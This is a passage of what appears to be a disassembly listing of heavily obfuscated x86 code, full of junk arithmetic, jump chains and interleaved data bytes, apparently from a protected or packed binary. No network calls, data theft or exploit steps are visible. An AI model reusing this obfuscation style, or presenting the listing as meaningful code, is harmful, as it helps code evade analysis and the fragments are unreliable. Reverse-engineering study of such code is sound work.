29000040h, 60E95EF0h db 4Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5552D7: ; CODE XREF: sub_542C3C+16C25j jz loc_567A3A push dword ptr [edi+28h] sub [esp+0A6h+var_A6], 89B4D8Fh mov eax, [esp+0A6h+var_A6] push 2077h mov [esp+0AAh+var_AA], edx mov edx, esp jmp loc_558F8F ; --------------------------------------------------------------------------- db 68h, 0D5h, 10h dd 815D2AE5h, 4391B6EDh, 5DE989FFh, 2B18E941h, 0DF010000h dd 243C875Bh, 8F24248Bh, 895C2404h, 4682414h, 89000025h dd 34FF2404h, 53685A24h, 8900007Ah, 0E6892434h, 4C681h dd 0EE830000h, 24348704h, 0F3EEE95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555346: ; CODE XREF: sub_542C3C+23E65j sub esp, 4 mov [esp+0AEh+var_AE], ebp push edx jmp loc_55CA0B ; --------------------------------------------------------------------------- dw 8766h dd 8B662414h, 0C483241Ch, 809E902h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555362: ; CODE XREF: sub_542C3C+185AAj xor ebp, ecx pop ecx jmp loc_55581A ; --------------------------------------------------------------------------- dw 348Bh dd 4C48324h, 0D4C7E9h db 0 ; --------------------------------------------------------------------------- loc_555375: ; CODE XREF: sub_542C3C+123C6j mov esi, [esp+9Ch+var_9C] add esp, 4 add esp, 4 and eax, ebp jmp loc_55D409 ; --------------------------------------------------------------------------- dd 24048B66h, 68595451h, 759Ch, 0BB241C89h, 2AE21968h dd 61685657h, 5E7BCB12h, 0DFA6E9h db 0 ; --------------------------------------------------------------------------- loc_5553A9: ; CODE XREF: sub_542C3C+1D74Ej add al, dl push [esp+94h+var_94] mov edx, [esp+98h+var_98] jmp loc_55FBF3 ; --------------------------------------------------------------------------- dw 0BB53h dd 612971C8h, 2BBB5357h, 0F730BC4Bh, 0E3C143D3h, 38EB8108h dd 8938EF91h, 58E95BDFh, 1FFFFFEh, 636E9C5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5553DE: ; CODE XREF: sub_542C3C+257E7j mov esi, 656614EFh add esi, 9A99EB15h push 1300h jmp loc_564390 ; --------------------------------------------------------------------------- aIssB db '‰áé±',0 align 2 loc_5553FA: ; CODE XREF: sub_542C3C+1BADFj mov edx, ecx push [esp+9Ch+var_9C] pop ecx add esp, 4 shl edx, 1 shl edx, 4 jmp loc_5648F7 ; --------------------------------------------------------------------------- db 5, 80h, 2 dd 0C8294141h, 4102802Dh, 12ABE941h, 0C1280001h, 2463E9h dd 24348100h, 76FB4856h, 8324148Bh, 0F28104C4h, 76FB4856h dd 81242C8Bh, 4C4h, 1C572100h, 0B2F7E95Ah, 0C330000h, 24248B24h dd 9C2404FEh, 11FC8E9h, 4C18100h, 33000000h, 0C31240Ch dd 240C3324h, 2124248Bh, 37E91C47h, 8900003Eh, 4EC83E3h dd 0BE243489h, 4, 0E6E9F301h, 890000B9h, 4C381E3h, 81000000h dd 4C3h, 4EEAE900h, 0C4830000h, 24148B04h, 4C481h, 34FF0000h dd 0C4835924h, 0E09AE904h, 0C481FFFFh, 4, 1C8BD800h, 0E0895024h dd 6926B951h, 40E92A26h db 53h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5554CB: ; CODE XREF: sub_542C3C+17826j push esi mov esi, 4 add ebp, esi pop esi jmp loc_55DD2C ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 0F06E36B8h, 0AF85BA0Fh, 0CE905F5h, 9Ah, 53072CD8h, 1326BE9h dd 4BF5700h, 0E9000000h, 19B0h, 9C2404FFh, 0FFE043E9h dd 0CFF66FFh, 39E99C24h, 8BFFFFE0h, 8B662424h db 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+9Ch+var_9C] pop esp mov [esp+98h+var_98], edx push esp pop edx push ecx push 40Eh mov [esp+0A0h+var_A2+2], edi jmp loc_55F238 ; --------------------------------------------------------------------------- db 87h, 34h, 24h dd 0E930FF5Ch, 0FFFFE004h, 5C243487h, 0E9242489h, 131F9h ; --------------------------------------------------------------------------- loc_555554: ; CODE XREF: sub_542C3C+24C12j sub [esp+0A0h+var_A2+2], 360E1717h pop edi add edi, 360E1717h jmp loc_55DCDC ; --------------------------------------------------------------------------- db 68h dd 315Ah, 0BD242C89h, 2E9C4FADh, 515DEB01h, 0CD44CFB9h dd 5795E938h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555582: ; CODE XREF: sub_542C3C+1F9C0j push edx mov edx, 533C7209h or edi, edx pop edx add edi, 0FEEB8122h sub eax, 53E81EBCh sub eax, edi jmp loc_5654AE ; --------------------------------------------------------------------------- db 8Bh, 2Ch, 24h dd 4C481h, 0E9520000h, 919Eh ; --------------------------------------------------------------------------- loc_5555AC: ; CODE XREF: sub_542C3C+19106j sub edx, edi mov edi, [esp+9Ch+var_9C] add esp, 4 jmp loc_564EE2 ; --------------------------------------------------------------------------- loc_5555B9: ; CODE XREF: sub_542C3C+14CAEj mov edi, 64385800h sub edi, 8247C3E4h xor eax, edi mov edi, [esp+98h+var_98] add esp, 4 xor ebx, eax push [esp+94h+var_94] jmp loc_562978 ; --------------------------------------------------------------------------- db 53h, 0E9h, 8Eh db 2, 1, 0 ; --------------------------------------------------------------------------- loc_5555DF: ; CODE XREF: sub_542C3C+16EE5j pop esi pop edx sub esp, 4 mov [esp+94h+var_94], eax push 5BFF6114h pop eax sub edi, eax pop eax push 7047h mov [esp+94h+var_94], edi xor [esp+94h+var_94], 70183038h jmp loc_556DDA ; --------------------------------------------------------------------------- aSv db ')ØéV´',0 db 0 ; --------------------------------------------------------------------------- loc_55560B: ; CODE XREF: sub_542C3C+1F621j pop edi jmp loc_55BD47 ; --------------------------------------------------------------------------- db 5Ch, 89h, 24h dd 24048124h, 4, 0E92434FFh, 556Ah ; --------------------------------------------------------------------------- loc_555624: ; CODE XREF: sub_542C3C+1A886j xor esi, [esp+90h+var_90] xor [esp+90h+var_90], esi xor esi, [esp+90h+var_90] mov esp, [esp+90h+var_90] movzx ax, byte ptr [eax] push small 3DD1h mov word ptr [esp+92h+var_94+2], ax jmp loc_55354C ; --------------------------------------------------------------------------- loc_555641: ; CODE XREF: sub_542C3C+22B19j push eax push [esp+96h+var_94+2] jmp loc_555B8E ; --------------------------------------------------------------------------- db 0FFh dd 8B042474h, 0C483240Ch, 24048F04h, 5E24248Bh, 0FFDEEBE9h dd 41C181FFh, 2DB7C278h, 1CBE501Eh, 1E05C801h, 0E91CBE50h dd 12112h, 4725BE56h, 0CDE90AB0h, 410000B3h, 0F73AE9h dd 58C72900h, 0EC83EF01h, 0D0D7E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555696: ; CODE XREF: sub_542C3C+1833Bj sub al, 92h sub bl, al mov eax, [esp+9Ah+var_9C+2] add esp, 4 push [esp+96h+var_98+2] pop eax add esp, 4 jmp loc_559CB9 ; --------------------------------------------------------------------------- db 52h dd 0B2B713B2h, 885AD728h, 0E2805BFAh, 53B5E9D5h, 68530000h dd 5C8E4722h, 5BD9895Bh, 3A0CC181h, 0BF574092h, 443A0761h dd 0B536EF81h, 0F92921E2h, 248AE9h db 0 ; --------------------------------------------------------------------------- loc_5556E5: ; CODE XREF: sub_542C3C+21077j sub al, 0F9h mov cl, al pop eax push ebx mov bh, 84h xor bh, 37h jmp loc_564FBA ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 120A4E9h, 0C3285A00h, 2F0FE9h, 40500h, 4050000h, 0E9000000h dd 900Ch, 6624248Bh, 68240C8Bh, 22DEh, 54241489h, 5A2434FFh dd 8104C483h, 4C2h, 55BE5600h, 0E97D441Fh, 1199Ch, 0C581C501h dd 0A611D0h, 0CD42E9h, 4EC8300h, 0BF243C89h, 2, 34FFFA01h dd 1AFBE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55575E: ; CODE XREF: sub_542C3C+117C5j mov edx, 7A354F60h shl edx, 4 or edx, 3E384287h add edx, 500D4B56h neg edx jmp loc_5545AD ; --------------------------------------------------------------------------- db 87h, 4, 24h dd 4BE565Ch, 1000000h, 0EB815EF3h, 4, 8788E9h db 0 ; --------------------------------------------------------------------------- loc_555791: ; CODE XREF: sub_542C3C+12D3Bj sub [esp+94h+var_90], 37D4F20h add [esp+94h+var_90], eax add [esp+94h+var_90], 37D4F20h pop eax mov ebx, [esp+90h+var_90] jmp loc_55DE5F ; --------------------------------------------------------------------------- dw 43B8h dd 0E92FF848h, 0FFFFDF88h, 415EF101h, 4214E9h, 2ADF6800h dd 0C890000h, 135AE924h, 0DD010000h, 4ED815Bh, 33000000h dd 2C31242Ch, 242C3324h, 8924248Bh, 61E92404h, 0BFFFFFDDh dd 0A88B1AB3h, 15BDF01h, 0C995E9FEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5557FA: ; CODE XREF: sub_542C3C+2443Ej add esp, 4 push eax mov eax, esp push edx mov edx, 25AB593Dh add edx, 5AB7110Dh sub edx, 80626A46h jmp loc_556328 ; --------------------------------------------------------------------------- loc_55581A: ; CODE XREF: sub_542C3C+12729j push edi jmp loc_55983C ; --------------------------------------------------------------------------- dd 1C8BD989h, 4C48124h, 81000000h, 936F93C9h, 9BBE561Eh dd 295FD36Fh, 0ED815EF1h, 6F094FACh, 0BE56CD01h, 780938E3h dd 7E9DEF7h db 4Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55584F: ; CODE XREF: sub_542C3C+23EBFj sub ebp, 6729342Bh add ebp, edi add ebp, 6729342Bh pop edi sub ebp, 4 xor ebp, [esp+0AEh+var_AE] xor [esp+0AEh+var_AE], ebp xor ebp, [esp+0AEh+var_AE] pop esp mov [esp+0AAh+var_AA], edx mov edx, 2ED52E69h jmp loc_561329 ; --------------------------------------------------------------------------- dd 59CA895Ah, 34FFD329h, 0C4815A24h, 4, 9C05E9h, 57C80100h dd 785816BFh, 6EFC17Eh, 0F781DFF7h, 51466166h, 1277DE9h dd 4EC8300h, 481EE9h, 2474FF00h, 48F5D04h, 34895C24h, 81E68924h dd 4C6h, 4EE8100h, 33000000h, 34312434h, 24343324h, 2404895Ch dd 149E0B8h, 0EC814069h, 4, 0D15DE9h, 0E9E58900h, 10A00h dd 0DD0F740h, 69AC7669h, 3FC8CF35h, 0E9C5218Dh, 0BAEBh ; --------------------------------------------------------------------------- loc_555900: ; CODE XREF: sub_542C3C+2318Fj mov esp, [esp+0AAh+var_AA] mov [esp+0AAh+var_AA], edi push 0D85h mov [esp+0AEh+var_AE], eax push edx push 2F803902h pop edx xor edx, 4DA72F53h add edx, 0B9CE5F5Ah mov eax, edx push [esp+0B2h+var_B2] pop edx add esp, 4 jmp loc_56748C ; --------------------------------------------------------------------------- loc_555932: ; CODE XREF: sub_542C3C+16780j sub edx, 42C07C47h sub edx, 23606A9Fh sub edx, ebx jmp loc_554AFE ; --------------------------------------------------------------------------- db 81h, 0F7h, 0EEh dd 81448903h, 0D75134EFh, 0E9FB29D1h, 689Eh, 158C601h dd 757AE9EEh, 0A9BB0000h, 8101F178h, 0A23291E3h, 0E93CE94Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555972: ; CODE XREF: sub_542C3C+12536j mov eax, 4 jmp loc_555791 ; --------------------------------------------------------------------------- loc_55597C: ; CODE XREF: sub_542C3C+2502Bj sub ebx, 233F5165h jmp loc_560BE1 ; --------------------------------------------------------------------------- loc_555987: ; CODE XREF: sub_542C3C+22C5Bj pop ebx shl edx, 5 jmp loc_5597DB ; --------------------------------------------------------------------------- loc_555990: ; CODE XREF: sub_542C3C+1D951j push 1FCBh jmp loc_56038F ; --------------------------------------------------------------------------- dw 815Bh dd 822293C1h, 0D1C18125h, 29A3EF03h, 0EF58E9C8h, 515CFFFFh dd 0A015CAB9h, 3E1C11Ah, 0C107E9C1h, 0E1C103E1h, 0FCE98107h dd 1A8056Fh, 240C8BCFh, 0E904C483h, 0A204h, 5D2434FFh dd 0E9E78957h, 0FFFFEE3Dh, 30E9C801h, 8300001Eh, 248904ECh dd 0B301E924h, 0F7470000h, 0DEF81D7h, 0E905C5A5h, 12984h dd 1C8BDD89h, 0C630E924h, 99350000h, 0E9C143D0h, 0BD75h dd 3D0FBF57h, 0A4E951A4h db 27h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555A1F: ; CODE XREF: sub_542C3C+1A028j shl ebx, 4 not ebx jmp loc_5582AB ; --------------------------------------------------------------------------- loc_555A29: ; CODE XREF: sub_542C3C+2180Fj sub esp, 4 mov [esp+0AAh+var_AA], esp add [esp+0AAh+var_AA], 4 jmp loc_561A52 ; --------------------------------------------------------------------------- loc_555A3E: ; CODE XREF: sub_542C3C+21A11j mov ecx, esp push ebp mov ebp, 6595769Fh dec ebp jmp loc_555211 ; --------------------------------------------------------------------------- loc_555A4C: ; CODE XREF: sub_542C3C+13489j pop esi push edi push [esp+0AEh+var_AA] jmp loc_567948 ; --------------------------------------------------------------------------- loc_555A57: ; CODE XREF: sub_542C3C+15EF6j add esi, ebx pop ebx inc esi sub esi, 0FFFFFFFFh and esi, 6CF16BABh sub esi, 0F424608h xor esi, 0F6C6894h xor ebx, esi pop esi push 4A9Dh mov [esp+0AEh+var_AE], esi mov esi, 405F3EABh xor ebx, esi pop esi and eax, ebx push [esp+0AAh+var_AA] mov ebx, [esp+0AEh+var_AE] add esp, 4 jmp loc_55B95A ; --------------------------------------------------------------------------- loc_555A96: ; CODE XREF: sub_542C3C+15FF4j push ebx mov ebx, 216C2158h jmp loc_55D1C2 ; --------------------------------------------------------------------------- db 1, 5Ch, 24h dd 246C8108h, 0AD57CB08h, 44815B2Fh, 58310424h, 742958F2h dd 0E9530424h, 0D157h, 5724048Fh, 4BFh, 247C0100h, 243C8B04h dd 7955E9h, 4BF00h, 0E9810000h, 294A47F9h, 222C181h, 0FEE922FAh db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_555AEB: ; CODE XREF: sub_542C3C+24EBBj push edx sub esp, 4 mov [esp+0B6h+var_B6], ebx mov ebx, 734E1F59h mov edx, 734E1F58h add edx, 2156166Bh sub edx, ebx jmp loc_560CA4 ; --------------------------------------------------------------------------- loc_555B09: ; CODE XREF: sub_542C3C+1F45Aj push ecx mov ecx, 4772985h xor esi, ecx mov ecx, [esp+0BAh+var_BA] add esp, 4 jmp loc_554CCA ; --------------------------------------------------------------------------- loc_555B1C: ; CODE XREF: sub_542C3C+1C435j push ebx mov ebx, 1F8611F4h dec ebx push ecx jmp loc_560CC3 ; --------------------------------------------------------------------------- loc_555B29: ; CODE XREF: sub_542C3C+1B04Ej add esi, edx mov edx, [esp+0BEh+var_BE] add esp, 4 xchg esi, [esp+0BAh+var_BA] mov esp, [esp+0BAh+var_BA] push 7827h jmp loc_55777A ; --------------------------------------------------------------------------- dd 8F7630BBh, 26E3813Fh, 0C1426D6Fh, 0B85003E3h, 76C032F4h dd 0DD89E9h, 4C18100h, 83000000h, 0BE902E9h, 51000008h dd 57ED68h, 24248900h, 123DAE9h, 240C8900h, 41D5E956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555B82: ; CODE XREF: sub_542C3C+1BD94j pop eax and edx, 485D0DD6h jmp loc_56034C ; --------------------------------------------------------------------------- loc_555B8E: ; CODE XREF: sub_542C3C+12A0Aj pop eax pop [esp+96h+var_98+2] pop esi jmp loc_5625BE ; --------------------------------------------------------------------------- dd 0E9241489h, 0F178h, 0BB53D5F7h, 44B00975h, 1C8BDD29h dd 4C48124h, 81000000h, 0E0704BEDh, 95E94534h, 870000CAh dd 575D2414h, 243C8B55h, 8B04C483h, 0C481242Ch, 4, 0E6C1FE87h dd 19EEE907h, 0EC830000h, 0C6CE904h, 0F7810000h, 7D44FAB1h dd 0A8E9F931h db 6Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_555BF3: ; CODE XREF: sub_542C3C+1AAC0j xor ecx, [esp+8Eh+var_90+2] jmp loc_55C3D2 ; --------------------------------------------------------------------------- db 81h dd 4C7h, 243C8700h, 4BE565Ch, 1000000h, 2C875EF5h, 50E95C24h db 82h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555C17: ; CODE XREF: sub_542C3C+1140Ej push esp pop ecx push eax mov eax, 1786079Dh xor eax, 0C0A3790h jmp loc_55924C ; --------------------------------------------------------------------------- db 0F7h, 14h, 24h dd 1AD6E9h, 59CE3100h, 135AE9h, 7E9A6800h, 1C890000h, 0E9555224h dd 0F52Eh, 0F3814B5Fh, 0E33022Ch, 4F49F381h, 0D8017258h dd 81241C8Bh, 4C4h, 57D0E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555C66: ; CODE XREF: sub_542C3C+10E42j sub edx, 1 push eax push edi jmp loc_558097 ; --------------------------------------------------------------------------- dd 81241C8Bh, 4C4h, 8BF03100h, 9CE92434h db 22h, 1, 0 ; --------------------------------------------------------------------------- loc_555C83: ; CODE XREF: sub_542C3C+16AD8j mov esi, esp jmp loc_5676B2 ; --------------------------------------------------------------------------- aFUS db 'FÁî',8,'é¸Û',0 dw 500h aIXszs db 'ˆ/xSZéÞ!',0 align 2 aYfqhj db 'YfQh¦>',0 align 2 dw 1C89h dd 0FE49B724h, 1EF80C7h, 51E9C7FEh, 100009Ah, 242C8BEBh dd 8904C483h, 2434FFDDh, 1672E9h, 7DE95C00h, 0B9FFFFD8h dd 560F2255h, 1E981h, 0F1810000h, 33C8180Bh, 2143E981h dd 0E981767Bh, 0EF4C1918h, 29E9CA89h, 590000C0h, 7DE9E909h db 0C6h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555CFB: ; CODE XREF: sub_542C3C+1BF40j pop edx sub esp, 4 mov [esp+44h+var_44], eax jmp loc_560BD5 ; --------------------------------------------------------------------------- loc_555D07: ; CODE XREF: sub_542C3C+10FF8j push eax pop ebx jmp loc_56366E ; --------------------------------------------------------------------------- aZ4S db ']‡4$\é',0Dh,'Ê',0 align 4 dd 0E942D2F7h, 0D41Dh ; --------------------------------------------------------------------------- loc_555D20: ; CODE XREF: sub_542C3C+209CDj or eax, 716C2078h jmp loc_5648FD ; --------------------------------------------------------------------------- dw 8B66h dd 0BC682404h, 0E900003Ah, 9B89h, 298ECA81h, 0B5E9534Ah dd 0BB000081h, 6AFC0FFDh, 0E95BD909h, 0DF9Ah, 93B0E95Ah dd 51660000h, 0D7EEE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555D5E: ; CODE XREF: sub_542C3C+21525j mov eax, 530514Dh jmp loc_565C3F ; --------------------------------------------------------------------------- dd 8104C483h, 5720FBC6h, 81C60170h, 5720FBEEh, 36C96870h dd 1C890000h, 6461BB24h, 0CB81749Fh, 6ADD04F3h, 6803E3C1h dd 0 dd 8B241C29h, 39E9241Ch, 0C1000092h, 0F28107EAh, 39F15E03h dd 34CAE9h, 66D02800h, 4368665Ah, 0C896633h, 0A8B1E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555DBE: ; CODE XREF: sub_542C3C+18D70j sub ecx, 4 xchg ecx, [esp+50h+var_50] pop esp mov [esp+4Ch+var_4C], ebx jmp loc_55B8CC ; --------------------------------------------------------------------------- db 0BDh, 0E5h, 36h dd 0EB311E08h, 5BD9015Dh, 0E9B95156h, 0C135D427h, 0E98102E9h dd 0D7509F6h, 0C8BCE89h, 0E0895024h, 405h, 4C08300h, 12208E9h dd 24148900h, 4EBD5551h, 89455238h, 242C8BE9h, 236E9h dd 243C8900h, 0BEC4E951h, 89530000h, 4BE56E3h, 81000000h dd 0F56A70EBh, 0E9F3011Ch, 0E6BEh ; --------------------------------------------------------------------------- loc_555E30: ; CODE XREF: sub_542C3C+1D81Bj xor ecx, 0D7C6A84Ch jmp loc_55BEE2 ; --------------------------------------------------------------------------- db 0BBh dd 4CDD6C70h, 815BDD89h, 0FFFFFFC5h, 0FBBA52FFh, 4257794Eh dd 14A9C281h, 0CA8153C1h, 7CB0632Ah, 0C281DAF7h, 7A30796h dd 295AD501h, 242C8BEEh, 4C481h, 148B0000h, 4C48124h, 0E9000000h dd 10C66h, 8B5FFD29h, 0CBE9240Ch, 0AC0000F0h, 4EC81h, 14890000h dd 7FE95124h, 81000031h, 4C4h, 4C48300h, 15EF789h, 2434FFFDh dd 0FFF264E9h, 58C201FFh, 4C281h, 14870000h, 0EE95C24h dd 5B000128h, 2AE9D5F7h, 0B80000CEh, 15C01CA6h, 632DC535h dd 14F75048h, 260D5824h, 0C175CB40h, 0F02D04E8h, 31F845A9h dd 24048BC2h, 8104C483h, 0E03FDFCAh, 0B6EA812Ch, 56066878h dd 1E1C68h, 242C8900h, 0C52D44BDh, 0E9895124h, 8B59CE89h db 2Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+50h+var_50] pop esp neg esi jmp loc_5542E7 ; --------------------------------------------------------------------------- loc_555F29: ; CODE XREF: sub_542C3C+25B6Dj mov ecx, 0F86AFED8h add esi, 46E11FFBh sub esi, ecx sub esi, 46E11FFBh pop ecx jmp loc_55CA1A ; --------------------------------------------------------------------------- loc_555F42: ; CODE XREF: sub_542C3C+22D7Ej push esi mov esi, ebx push esi push 7121h jmp loc_55FF47 ; --------------------------------------------------------------------------- loc_555F50: ; CODE XREF: sub_542C3C+1424Dj add [esp+54h+var_50], 18DF0354h add [esp+54h+var_50], ecx push ebx mov ebx, 18DF0354h sub [esp+58h+var_50], 4DED3A04h sub [esp+58h+var_50], ebx push esi mov esi, 4DED3A04h add [esp+5Ch+var_50], esi pop esi push [esp+58h+var_58] pop ebx add esp, 4 pop ecx mov ebx, [esp+50h+var_50] add esp, 4 jmp loc_565A11 ; --------------------------------------------------------------------------- db 5Dh dd 0F704C483h, 0D57E9D5h db 1, 0 ; --------------------------------------------------------------------------- loc_555F9A: ; CODE XREF: sub_542C3C+112A4j sub ebx, ecx jmp loc_566D58 ; --------------------------------------------------------------------------- loc_555FA1: ; CODE XREF: sub_542C3C+125C7j sub edi, 4 xchg edi, [esp+0A6h+var_A6] pop esp mov [esp+0A2h+var_A2], edx jmp loc_5574ED ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFD594h, 405h, 4C08300h, 5C240487h, 7EA068h, 243C8900h dd 0FFFB04E9h, 0C4835AFFh, 240C3304h, 0E9240C31h, 0FFFFF46Ah dd 515968BEh, 81DEF742h, 0AEA694EEh, 5EF201BDh, 8B241487h dd 0F9882424h, 81241C8Bh, 4C4h, 874C8800h, 2434FF01h, 4167E959h dd 875B0000h, 895C2434h, 4682414h, 5A000000h, 658EE9h db 0 ; --------------------------------------------------------------------------- loc_556021: ; CODE XREF: sub_542C3C+19B88j add ebx, ebp pop ebp push 707Eh mov [esp+0A2h+var_A2], esi jmp loc_562AA2 ; --------------------------------------------------------------------------- db 68h, 91h, 18h dd 4890000h, 1F056824h, 935806D8h, 0C5E9934Bh, 810000C1h dd 4C4h, 81D9F700h, 316416F1h, 440DE967h, 0F660000h, 5166C8B6h dd 0D4E6E99Ch, 0F281FFFFh, 9D7B10CAh, 15AD331h, 241C8BDEh dd 285E9h, 0B2525A00h, 4944E99Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_556082: ; CODE XREF: sub_542C3C+1A0F4j sub esp, 4 mov [esp+0A6h+var_A6], edx push ebx mov ebx, 0F59ABE7Ch mov edx, ebx pop ebx xor ebp, edx jmp loc_55E13E ; --------------------------------------------------------------------------- dd 4C481h, 0CFFE0000h, 8017F780h, 0FE88D1C7h, 0E98F2C5Bh dd 10F5Ch, 66C568h, 124EE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5560BA: ; CODE XREF: sub_542C3C+23F7Bj add edi, eax pop eax push esi mov esi, 4 sub edi, esi jmp loc_555A4C ; --------------------------------------------------------------------------- aDSsv db '\„Èœéé‚',0 dw 8700h dd 0E95C2414h, 0AEFDh, 0FFFFC681h, 0E94EFFFFh, 40Bh, 81D10158h dd 5D316FE9h, 2434FF2Fh, 0FFFED8E9h, 4BFFFh, 0F8010000h dd 0E9243C8Bh, 0FFFFEABEh, 241C8966h, 515097B3h, 0CC88D988h dd 4E4E9h, 4C58100h, 87000000h, 248B242Ch, 74FF5024h, 0D8E90424h db 3Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_55612F: ; CODE XREF: sub_542C3C+1F2E2j pop ebp xor edx, 250F2065h jmp loc_55B9F3 ; --------------------------------------------------------------------------- db 0FFh dd 0E9042474h, 0E1B6h ; --------------------------------------------------------------------------- loc_556144: ; CODE XREF: sub_542C3C+1C40Fj xor edi, 299210CEh push eax push edx mov edx, 7B0F7CB6h xor edx, 4C95BC6h mov eax, edx pop edx jmp loc_562547 ; --------------------------------------------------------------------------- db 8Bh dd 0EC83243Ch, 24048904h, 405E089h, 83000000h, 48704C0h dd 0FEE95C24h db 0B6h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55617B: ; CODE XREF: sub_542C3C+1F564j shl ah, 3 push eax not byte ptr [esp+0AAh+var_AA+1] pop eax inc ah xor ah, 0DAh add cl, ah jmp loc_565288 ; --------------------------------------------------------------------------- dd 4C5815Dh, 50000000h, 67CDB951h, 0E1C17294h, 21BF5706h dd 0C17D5D1Ah, 0C78102EFh, 85C2ACB4h, 895FF929h, 0C50159C8h dd 242C3358h, 0F4CCE9h, 4C48300h, 31243433h, 34332434h dd 0E11EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5561D2: ; CODE XREF: sub_542C3C+17508j mov eax, 5C9F6D85h mov ebp, 21DCA57Eh add ebp, eax pop eax jmp loc_5602A9 ; --------------------------------------------------------------------------- loc_5561E4: ; CODE XREF: sub_542C3C+24109j add ebp, esi pop esi not ebp add ebp, 6F4F5E18h sub esp, 4 mov [esp+0A2h+var_A2], ecx mov ecx, 0F823C915h add ebp, ecx pop ecx jmp loc_55949A ; --------------------------------------------------------------------------- db 89h, 0EBh, 0E9h dd 7903h, 48BE788h, 4C48124h, 51000000h, 0C5FEC2B5h, 0E904E5C0h dd 0B9F4h, 4DCBE952h, 0C1810000h, 56644863h, 7C01E981h dd 0D9014349h, 7C01C181h, 0E9814349h, 56644863h, 68C2E981h dd 0D8E94395h, 660000AFh, 0E47FED81h, 0E9EF2166h, 0FFFFE92Eh ; --------------------------------------------------------------------------- loc_55625C: ; CODE XREF: sub_542C3C+24025j mov ebp, 2B69663Bh sub edi, ebp pop ebp dec edi inc edi xor edi, 2D943426h add edi, 0EE657814h add eax, edi pop edi sub esp, 4 mov [esp+9Ah+var_9C+2], ebp push 763Ah mov [esp], eax push 474A738Fh pop eax xor eax, 7D72718Bh sub esp, 4 mov [esp+0A2h+var_A2], edi mov edi, 3AF348E9h add eax, 4A04342h push esi mov esi, 1B862192h or esi, 76D174AFh not esi inc esi sub esi, 73417663h sub eax, esi jmp loc_566AD3 ; --------------------------------------------------------------------------- loc_5562C0: ; CODE XREF: sub_542C3C+1D385j add ebx, 4 add ebx, 2 xchg ebx, [esp+0A6h+var_A6] pop esp push 1362h mov [esp+0A6h+var_A6], eax jmp loc_55AD31 ; --------------------------------------------------------------------------- db 81h, 0C6h, 4 dd 83000000h, 348702C6h, 13E9E924h db 1, 0 ; --------------------------------------------------------------------------- loc_5562EE: ; CODE XREF: sub_542C3C+24DE6j sub al, 0A3h jmp loc_55C9FD ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch aSo db '$éŽÙ',0 align 2 dw 0C483h dd 0E7895704h, 4C781h, 0EF810000h, 4, 5C243C87h, 0FFE771E9h dd 0E9515AFFh, 6BD7h ; --------------------------------------------------------------------------- loc_556320: ; CODE XREF: sub_542C3C+1E963j pop ecx xor dh, ch jmp loc_559934 ; --------------------------------------------------------------------------- loc_556328: ; CODE XREF: sub_542C3C+12BD9j add eax, edx pop edx jmp loc_559BDD ; --------------------------------------------------------------------------- dd 4C481h, 0C1810000h, 1999578Ch, 7668D129h, 0E9000068h dd 65D4h, 8B241C87h, 0EB812424h, 653E1C26h, 11A9CE9h, 24048B00h dd 3304C483h, 0C31240Ch, 240C3324h, 0D3BCE9h, 5C686600h dd 0FC16E971h, 0C870000h, 24248B24h, 241C8966h, 2474FF66h dd 1C8B6602h, 5D545524h, 4C581h, 0CDE90000h, 8100003Ch dd 42404h, 815B0000h, 4C3h, 61CE6800h, 34890000h, 2BE24h dd 0EB810000h, 5C464891h, 4183E9h, 0E9D5F700h, 9F32h, 4C481h dd 0C2810000h, 4, 8EB4E9h, 0BBD5500h, 0B80B273Eh, 2CEDD8B6h dd 0F75DE801h, 2C9305D8h, 7DE932A9h, 0BA000029h, 75317BEh dd 4202E2C1h, 42C8E9h, 0C6835800h, 24348704h, 8B24248Bh dd 0C483240Ch, 0EC97E904h, 8F5A0000h, 8F5C2404h, 66E92404h dd 0B4000099h, 58E200C7h, 0EB1BE9h, 1C896600h, 0FFE95024h dd 0E900010Fh, 0FFFFD114h, 5C241C87h, 0FA17E9h, 238BF00h dd 51523639h, 58674468h, 0E941592Ah, 8339h, 5966EE28h dd 0DFB05053h, 0C788A834h, 0B6EE8058h, 44EE80h, 44C680FEh dd 0E9B6C680h, 0FA5Eh, 4C381h, 20E90000h db 93h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55647F: ; CODE XREF: sub_542C3C+21FB9j add eax, 310AF300h sub ecx, 29CB4212h add ecx, eax add ecx, 29CB4212h mov eax, [esp+90h+var_90] add esp, 4 mov [edx+38h], ecx mov ecx, [esp+8Ch+var_8C] add esp, 4 push ecx push esi push eax mov eax, 61624FABh mov esi, eax pop eax jmp loc_557F34 ; --------------------------------------------------------------------------- loc_5564B7: ; CODE XREF: sub_542C3C+15CC5j mov eax, [esp+90h+var_90] add esp, 4 add esp, 4 jmp loc_560577 ; 